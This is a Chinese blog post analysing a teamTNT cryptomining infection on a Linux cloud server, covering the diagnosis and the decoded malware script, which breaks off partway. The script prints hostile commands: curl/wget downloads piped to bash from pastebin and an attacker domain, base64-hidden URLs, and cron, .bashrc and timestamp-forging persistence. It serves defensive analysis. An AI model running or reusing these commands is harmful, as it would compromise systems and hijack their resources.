分析teamTNT团队Linux挖矿木马执行过程与防范

分析teamTNT团队Linux挖矿木马执行过程与防范

公司需要扩展海外业务,需要有一台海外云服务器。当我们把应用部署上去时的第二天所有应用down掉了,然后发现ssh连接服务器特别慢。好不容易连接上了执行一下free -h 发现内存占用99%,反手一个top,等了大约2分钟出来结果。

问题排查

  • 查看当前内存:free -h 发现内存占用几乎达到98%。
  • 查看当前进程:top等了大约2分钟出来结果。竟然有7000多个tasks,load average: 459.78, 584.52, 387.07,这明显很不正常。
      PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
      5014 root      20   0 2902048   8396    840 S 330.7  0.1  16:39.43 JavaUpdates
      9703 root      20   0  592780  38668   9256 R  15.2  0.5   0:00.93 yum 
      9713 root      20   0  354280  25028   8268 S  15.2  0.3   0:00.46 yum
      7606 root      20   0   10.0g    968    812 S   9.9  0.0   0:03.78 pnscan
      7515 root      20   0   10.0g    968    812 S   9.6  0.0   0:02.08 pnscan
      601 root      20   0   90568   3152   2284 S   1.7  0.0   7:28.37 rngd
    
  • 发现有一个进程特别耗CPU:JavaUpdates
  • ps aux | grep 'JavaUpdates' 查一下这个进程,没有发现执行程序路径。
       [gree@greepd ~]$ ps aux | grep 'JavaUpdates'
       root      5014  184  0.1 2902048 8396 ?        Ssl  01:39  52:39 ./JavaUpdates
    
  • ps laxps lax | grep 'JavaUpdates'(注:命令结果只展示关键内容) 我们可以发现有个进程特别可疑。会去https://pastebin.com/raw/1eDKHr4r下载东西并执行,那我们顺腾摸瓜看看到底下载了什么。
      [gree@greepd ~]$ ps lax
      F   UID   PID  PPID PRI  NI    VSZ   RSS WCHAN  STAT TTY        TIME COMMAND
      5     0  1636   634  20   0 220544  3632 pipe_w S    ?          0:00 /usr/sbin/CROND -n
      0     0  1649  1636  20   0 113284  1200 do_wai Ss   ?          0:00 /bin/sh -c (curl -fsSL https://pastebin.com/raw/1eDKHr4r||wget -q -O- https://pastebin.com/raw/1eDKHr4r
      5     0  5014     1  20   0 2902048 8396 ep_pol Ssl  ?         55:29 ./JavaUpdates
    

木马脚本分析

  • 首先看看访问的这个https://pastebin.com/raw/1eDKHr4r链接有什么

    (curl -fsSL https://pastebin.com/raw/UhUmR517||wget -q -O - https://pastebin.com/raw/UhUmR517||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/UhUmR517").read()')|base64 -d|bash
    
  • 发现又去https://pastebin.com/raw/UhUmR517下载东西并执行,这个文本是base64编码的。怕源链接失效,大家可以去这里下载我上传的链接内容:https://documents.hubaoquan.cn/UhUmR517.txt

  • 解码之后是如下脚本,里边#号后边是我的注释

      #!/bin/bash
      SHELL=/bin/sh
      PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
      house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d) #decode-->https://pastebin.com/raw/1eDKHr4r # https://documents.hubaoquan.cn/1eDKHr4r.txt
      park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d)  #decode-->https://pastebin.com/raw/b5x1pRzK # https://documents.hubaoquan.cn/b5x1pRzK.txt
      beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d)                  #decode-->sadan666.xyz:9080/rr   #404
      deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d)  #decode-->https://pastebin.com/raw/SjjWevTs # dragon
      surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d)  #decode-->https://pastebin.com/raw/tyjnTQTA # lossl
      me=$( whoami )
      function getarch() {
         
          ver="x86_64"
          arch=$(uname -m)
          arch2=$(uname -i)
          arch3=$(getconf LONG_BIT)
          if [ "$arch" == "x86_64" ]; then
              ver="x86_64"
          elif [ "$arch" == "i686" ]; then
              ver="i686"
          elif [ "$arch2" == "x86_64" ]; then
              ver="x86_64"
          elif [ "$arch2" == "i386" ]; then
              ver="i686"
          elif [ "$arch3" == "64" ]; then
              ver="x86_64"
          else
              ver="x86_64"
          fi
          echo $ver
      }
    
      ARCH=$(getarch)
    
      function system() {
         
      chattr -i /etc/crontab 
      rm -rf /bin/httpntp /bin/ftpsdns 
      sed -i '/httpntp/d' /etc/crontab 
      sed -i '/ftpsdns/d' /etc/crontab 
      echo -e "(curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" > /bin/httpntp  
      chmod 755 /bin/httpntp 
      if [ ! -f "/etc/crontab" ]; then 
      echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /bin/httpntp\n##" >> /etc/crontab 
      else 
      echo -e "0 1 * * * root /bin/httpntp" >> /etc/crontab 
      fi 
      echo -e "(curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" > /bin/ftpsdns  
      chmod 755 /bin/ftpsdns 
      if [ ! -f "/etc/crontab" ]; then 
      echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n5 1 * * * root /bin/ftpsdns\n##" >> /etc/crontab 
      else 
      echo -e "5 1 * * * root /bin/ftpsdns" >> /etc/crontab 
      fi 
      touch -acmr /bin/sh /etc/crontab 
      }
    
      function cronhigh() {
         
      chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root 
      rm -rf /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane 
      mkdir -p /var/spool/cron/crontabs 
      mkdir -p /etc/cron.hourly 
      mkdir -p /etc/cron.daily 
      mkdir -p /etc/cron.monthly 
      sed -i '/pastebin.com/d' /etc/cron.d/root && sed -i '/##/d' /etc/cron.d/root 
      sed -i '/pastebin.com/d' /etc/cron.d/apache && sed -i '/##/d' /etc/cron.d/apache 
      sed -i '/pastebin.com/d' /etc/cron.d/system && sed -i '/##/d' /etc/cron.d/system 
      sed -i '/pastebin.com/d' /var/spool/cron/crontabs/root && sed -i '/##/d' /var/spool/cron/crontabs/root 
      sed -i '/pastebin.com/d' /var/spool/cron/root && sed -i '/##/d' /var/spool/cron/root 
      key=$( (curl -fsSL $house||wget -q -O - $house) ) 
      echo -e "*/3 * * * * root (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/root 
      echo -e "*/6 * * * * root (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/system 
      echo -e "*/7 * * * * root (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /etc/cron.d/apache 
      echo -e "*/9 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /var/spool/cron/root 
      echo -e "*/11 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash\n##" >> /var/spool/cron/crontabs/root 
      if [ ! -f "/etc/cron.hourly/oanacroane" ]; then 
      echo $key > /etc/cron.hourly/oanacroane && chmod 755 /etc/cron.hourly/oanacroane 
      fi 
      if [ ! -f "/etc/cron.daily/oanacroane" ]; then 
      echo $key > /etc/cron.daily/oanacroane && chmod 755 /etc/cron.daily/oanacroane 
      fi 
      if [ ! -f "/etc/cron.monthly/oanacroane" ]; then 
      echo $key > /etc/cron.monthly/oanacroane && chmod 755 /etc/cron.monthly/oanacroane 
      fi 
      touch -acmr /bin/sh /var/spool/cron/root 
      touch -acmr /bin/sh /var/spool/cron/crontabs/root 
      touch -acmr /bin/sh /etc/cron.d/system 
      touch -acmr /bin/sh /etc/cron.d/apache 
      touch -acmr /bin/sh /etc/cron.d/root 
      touch -acmr /bin/sh /etc/cron.hourly/oanacroane 
      touch -acmr /bin/sh /etc/cron.daily/oanacroane 
      touch -acmr /bin/sh /etc/cron.monthly/oanacroane 
      }
    
      function cronlow() {
         
          cr=$(crontab -l | grep "$house" | wc -l)
          if [ ${cr} -eq 0 ];then
              crontab -r
              (crontab -l 2>/dev/null; echo "*/10 * * * * (curl -fsSL $house||wget -q -O- $house||curl -fsSL $park||wget -q -O - $park||curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60)|bash > /dev/null 2>&1")| crontab -
          else
              echo " "
          fi
      }
    
      function cronbackup() {
         
          pay="(curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60||curl -fsSL $house||wget -q -O- $house)|bash"
          status=0
          crona=$(systemctl is-active cron)
          cronb=$(systemctl is-active crond)
          cronatd=$(systemctl is-active atd)
          if [ "$crona" == "active" ] ; then
              status=0
          elif [ "$cronb" == "active"  ]; then
              status=0
          elif [ "$cronatd" == "active" ] ; then
              status=1
          else
              status=2
          fi
          if [ $status -eq 1 ] ; then
              for a in $(at -l|awk '{print $1}'); do at -r $a; done
              echo "$pay" | at -m now + 1 minute
          fi
          if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
              amiup=$(ps -fe|grep 'crun'|grep -v grep|wc -l)
              if [ ${amiup} -ne 0 ] ; then
                  ps auxf|grep -v grep|grep "crun" | awk '{print $2}'|xargs kill -9
              fi
              key="while true; do sleep 600 && $pay; done"
              echo -e "$key\n##" > /tmp/crun && chmod 777 /tmp/crun && cd /tmp/
              nohup ./crun >/dev/null 2>&1 &
              sleep 15
              rm /tmp/crun
          fi
      }
    
      function cronrc() {
         
          if [ "$me" != "root" ];then
              cron_rc_path="/home/$me/.bashrc"
              pay_rc="(curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60||curl -fsSL $house||wget -q -O- $house)|bash"
          else
              cron_rc_path="/root/.bashrc"
              pay_rc="sed -i '/pastebin.com/d' /etc/hosts;(curl -fsSLk $beam -m 90||wget -q -O - $beam --no-check-certificate -t 2 -T 60||curl -fsSL $house||wget -q -O- $house)|bash"
          fi
          if [ -f "$cron_rc_path" ]; then
              sed -i '/pastebin.com/d' $cron_rc_path
              sed -i '/loaded_JavaUpdates_rc/d' $cron_rc_path
              echo -e "$pay_rc\n##loaded_JavaUpdates_rc" >> $cron_rc_path
          fi
      }
    
      function gettarfile() {
         
          temp_path="/tmp/.tmpdropoff"
          build_string="/tmp/.tmpdropoff/JavaUpdates"
          if [ "$3" == "-xzf" ]
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

胡宝全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值